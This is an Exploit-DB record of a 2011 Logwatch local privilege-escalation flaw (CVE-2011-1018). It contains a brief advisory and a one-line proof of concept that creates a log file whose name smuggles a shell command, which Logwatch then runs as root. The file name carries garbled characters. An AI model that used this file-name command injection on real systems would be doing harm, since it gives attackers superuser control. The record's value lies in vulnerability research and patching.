Logwatch Log File - Special Characters Local Privilege Escalation Vulnerability

2011-02-24T00:00:00
ID EDB-ID:35386
Type exploitdb
Reporter Dominik George
Modified 2011-02-24T00:00:00

Description

Logwatch Log File Special Characters Local Privilege Escalation Vulnerability. CVE-2011-1018 . Remote exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/46554/info

Logwatch is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue execute arbitrary code with superuser privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition. 

% echo "fake" > â??/var/log/httpd/fakee;who;access_log.2â??